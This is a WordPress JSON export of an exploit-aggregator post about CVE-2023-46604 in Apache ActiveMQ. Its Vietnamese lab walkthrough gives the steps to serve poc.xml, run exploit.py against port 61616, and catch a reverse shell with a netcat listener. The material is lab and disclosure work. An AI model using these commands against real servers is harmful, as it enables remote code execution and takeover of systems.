{"id":2858,"date":"2025-05-04T19:33:09","date_gmt":"2025-05-04T19:33:09","guid":{"rendered":"http:\/\/localhost\/?p=2858"},"modified":"2025-05-04T19:33:09","modified_gmt":"2025-05-04T19:33:09","slug":"exploit-for-deserialization-of-untrusted-data-in-apache-activemq","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=2858","title":{"rendered":"Exploit for Deserialization of Untrusted Data in Apache Activemq"},"content":{"rendered":"<div class=\"vulnerability-details\">\n<h2>Vulnerability Details<\/h2>\n<div class=\"info-section\">\n<h3>Basic Information<\/h3>\n<table class=\"info-table\">\n<tr>\n<th>Title<\/th>\n<td>Exploit for Deserialization of Untrusted Data in Apache Activemq<\/td>\n<\/tr>\n<tr>\n<th>Type<\/th>\n<td>githubexploit<\/td>\n<\/tr>\n<tr>\n<th>Published<\/th>\n<td>2025-05-04T14:42:01<\/td>\n<\/tr>\n<tr>\n<th>Last Seen<\/th>\n<td>2025-05-05T00:04:32<\/td>\n<\/tr>\n<tr>\n<th>CVSS Score<\/th>\n<td style=\"color: #cc0000; font-weight: bold;\">10.0 (CRITICAL)<\/td>\n<\/tr>\n<\/table><\/div>\n<div class=\"cvss-section\">\n<h3>CVSS v3 Details<\/h3>\n<table class=\"cvss-table\">\n<tr>\n<th>Attack Vector<\/th>\n<td>NETWORK<\/td>\n<\/tr>\n<tr>\n<th>Attack Complexity<\/th>\n<td>LOW<\/td>\n<\/tr>\n<tr>\n<th>Privileges Required<\/th>\n<td>NONE<\/td>\n<\/tr>\n<tr>\n<th>User Interaction<\/th>\n<td>NONE<\/td>\n<\/tr>\n<tr>\n<th>Scope<\/th>\n<td>CHANGED<\/td>\n<\/tr>\n<tr>\n<th>Confidentiality Impact<\/th>\n<td>LOW<\/td>\n<\/tr>\n<tr>\n<th>Integrity Impact<\/th>\n<td>HIGH<\/td>\n<\/tr>\n<tr>\n<th>Availability Impact<\/th>\n<td>HIGH<\/td>\n<\/tr>\n<\/table><\/div>\n<div class=\"cve-section\">\n<h3>CVE Information<\/h3>\n<table class=\"cve-table\">\n<tr>\n<th>CVE IDs<\/th>\n<td>CVE-2023-46604<\/td>\n<\/tr>\n<tr>\n<th>CWE<\/th>\n<td><\/td>\n<\/tr>\n<tr>\n<th>Bulletin Family<\/th>\n<td>exploit<\/td>\n<\/tr>\n<\/table><\/div>\n<div class=\"description-section\">\n<h3>Description<\/h3>\n<div class=\"description-content\">\n            CVE-2023-46604<\/p>\n<p>![image](https:\/\/github.com\/user-attachments\/assets\/03899091-1319-4d60-a561-30293999c19f)<\/p>\n<p>D\u1ef1ng docker-compose ch\u1ee9a 2 image g\u1ed3m m\u00e1y n\u1ea1n nh\u00e2n v\u00e0 m\u00e1y m\u1ee5c ti\u00eau theo m\u00f4i tr\u01b0\u1eddng y\u00eau c\u1ea7u<br \/>\nTr\u00ean m\u00e1y n\u1ea1n nh\u00e2n, ti\u1ebfn h\u00e0nh kh\u1edfi \u0111\u1ed9ng ActiveMQ<\/p>\n<p> Chuy\u1ec3n sang m\u00e1y t\u1ea5n c\u00f4ng:<br \/>\n\u2022\tM\u1edf d\u1ecbch v\u1ee5 HTTP \u0111\u1ec3 ti\u1ebfn h\u00e0nh g\u1eedi poc:<br \/>\npython3 -m http.server <port>\n<p>\u2022\tS\u1eed d\u1ee5ng netcat \u0111\u1ec3 l\u1eb3ng nghe k\u1ebft n\u1ed1i \u0111\u1ebfn m\u00e1y t\u1ea5n c\u00f4ng<br \/>\nnc -nlvp 4444<\/p>\n<p>\u2022\tG\u1eedi payload t\u1ea1o k\u1ebft n\u1ed1i reverse shell t\u1edbi m\u00e1y t\u1ea5n c\u00f4ng<br \/>\npython3 exploit.py -i 172.18.0.3 -p 61616 &#8211;xml http:\/\/172.18.0.2:8000\/poc.xml<br \/>\n\tTrong \u0111\u00f3:<br \/>\n&#8211;\tExploit.py: file code khai th\u00e1c l\u1ed7 h\u1ed5ng<br \/>\n&#8211;\t-I 172.18.0.3: \u0110\u1ecba ch\u1ec9 IP c\u1ee7a m\u00e1y g\u1eedi payload<br \/>\n&#8211;\t-p 61616: C\u1ed5ng m\u00e0 ActiveMQ c\u1ee7a m\u00e1y n\u1ea1n nh\u00e2n \u0111ang l\u1eafng nghe<br \/>\n&#8211;\t&#8211;xml http:\/\/172.18.0.2:8000\/poc.xml: \u0110\u1ecba ch\u1ec9 url c\u1ee7a t\u1ec7p poc.xml tr\u00ean m\u00e1y t\u1ea5n c\u00f4ng<\/p>\n<p>C\u00f3 th\u1ec3 th\u1ea5y, sau khi g\u1ecdi l\u1ec7nh th\u1ef1c thi file \u2018exploit.py\u2019, m\u00e3 khai th\u00e1c s\u1ebd g\u1eedi m\u1ed9t g\u00f3i tin \u2018poc.xml\u2019 tr\u00ean web server t\u1edbi m\u1ee5c ti\u00eau l\u00e0 \u0111\u1ecba ch\u1ec9 c\u1ee7a d\u1ecbch v\u1ee5 ActiveMQ \u0111ang ch\u1ea1y tr\u00ean server m\u1ee5c ti\u00eau. \u0110\u1ed3ng th\u1eddi webserver HTTP tr\u00ean m\u00e1y t\u1ea5n c\u00f4ng c\u0169ng nh\u1eadn \u0111\u01b0\u1ee3c request \u0111\u01b0\u1ee3c g\u1eedi t\u1eeb \u0111\u1ecba ch\u1ec9 ip c\u1ee7a m\u00e1y m\u1ee5c ti\u00eau.<\/p>\n<p>Sau khi ti\u1ebfn h\u00e0nh g\u1eedi payload, chuy\u1ec3n sang terminal \u0111ang l\u1eafng nghe t\u1ea1i c\u1ed5ng 4444 c\u1ee7a m\u00e1y t\u1ea5n c\u00f4ng. Ta th\u1ea5y reverse shell c\u1ee7a m\u00e1y n\u1ea1n nh\u00e2n \u0111\u00e3 \u0111\u01b0\u1ee3c g\u1eedi v\u1ec1.<\/p><\/div>\n<\/p><\/div>\n<div class=\"impact-section\">\n<h3>Impact Assessment<\/h3>\n<table class=\"impact-table\">\n<tr>\n<th>Base Score<\/th>\n<td>10.0<\/td>\n<\/tr>\n<tr>\n<th>Severity<\/th>\n<td style=\"color: #cc0000;\">CRITICAL<\/td>\n<\/tr>\n<\/table><\/div>\n<div class=\"source-link\">\n<p><a href=\"https:\/\/github.com\/CCIEVoice2009\/CVE-2023-46604\" target=\"_blank\">View full CVE details<\/a><\/p>\n<\/p><\/div>\n<\/div>\n<style>\n.vulnerability-details {\n    font-family: Arial, sans-serif;\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 20px;\n}<\/p>\n<p>.info-section, .cvss-section, .cve-section, .description-section, .impact-section {\n    margin-bottom: 30px;\n    background: #f8f9fa;\n    padding: 20px;\n    border-radius: 8px;\n    box-shadow: 0 2px 4px rgba(0,0,0,0.1);\n}<\/p>\n<p>h2 {\n    color: #2c3e50;\n    border-bottom: 2px solid #3498db;\n    padding-bottom: 10px;\n    margin-bottom: 20px;\n}<\/p>\n<p>h3 {\n    color: #34495e;\n    margin-bottom: 15px;\n}<\/p>\n<p>.info-table, .cvss-table, .cve-table, .impact-table {\n    width: 100%;\n    border-collapse: collapse;\n    margin-bottom: 20px;\n}<\/p>\n<p>.info-table th, .cvss-table th, .cve-table th, .impact-table th {\n    background: #e9ecef;\n    padding: 12px;\n    text-align: left;\n    width: 200px;\n}<\/p>\n<p>.info-table td, .cvss-table td, .cve-table td, .impact-table td {\n    padding: 12px;\n    border-bottom: 1px solid #dee2e6;\n}<\/p>\n<p>.description-content {\n    line-height: 1.6;\n    color: #2c3e50;\n}<\/p>\n<p>.source-link {\n    text-align: center;\n    margin-top: 30px;\n}<\/p>\n<p>.source-link a {\n    display: inline-block;\n    padding: 10px 20px;\n    background: #3498db;\n    color: white;\n    text-decoration: none;\n    border-radius: 5px;\n    transition: background 0.3s;\n}<\/p>\n<p>.source-link a:hover {\n    background: #2980b9;\n}\n<\/style>\n","protected":false},"excerpt":{"rendered":"<p>Vulnerability Details Basic Information Title Exploit for Deserialization of Untrusted Data in Apache Activemq Type githubexploit Published 2025-05-04T14:42:01 Last Seen 2025-05-05T00:04:32 CVSS Score 10.0 (CRITICAL)&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[9,6,8,36,12,32,13,7,11,5],"class_list":["post-2858","post","type-post","status-publish","format-standard","hentry","category-category_cve","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-githubexploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=2858\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Vulnerability Details Basic Information Title Exploit for Deserialization of Untrusted Data in Apache Activemq Type githubexploit Published 2025-05-04T14:42:01 Last Seen 2025-05-05T00:04:32 CVSS Score 10.0 (CRITICAL)...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=2858\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-04T19:33:09+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Exploit for Deserialization of Untrusted Data in Apache Activemq\",\"datePublished\":\"2025-05-04T19:33:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858\"},\"wordCount\":421,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"githubexploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_cve\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=2858#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858\",\"name\":\"Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-04T19:33:09+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=2858\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=2858#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit for Deserialization of Untrusted Data in Apache Activemq\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=2858","og_locale":"en_US","og_type":"article","og_title":"Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem","og_description":"Vulnerability Details Basic Information Title Exploit for Deserialization of Untrusted Data in Apache Activemq Type githubexploit Published 2025-05-04T14:42:01 Last Seen 2025-05-05T00:04:32 CVSS Score 10.0 (CRITICAL)...","og_url":"https:\/\/zero.redgem.net\/?p=2858","og_site_name":"zero redgem","article_published_time":"2025-05-04T19:33:09+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=2858#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=2858"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Exploit for Deserialization of Untrusted Data in Apache Activemq","datePublished":"2025-05-04T19:33:09+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=2858"},"wordCount":421,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","githubexploit","news","Security","tapic","Vulnerability"],"articleSection":["category_cve"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=2858#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=2858","url":"https:\/\/zero.redgem.net\/?p=2858","name":"Exploit for Deserialization of Untrusted Data in Apache Activemq - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-04T19:33:09+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=2858#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=2858"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=2858#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Exploit for Deserialization of Untrusted Data in Apache Activemq"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/2858","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2858"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/2858\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2858"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2858"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2858"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}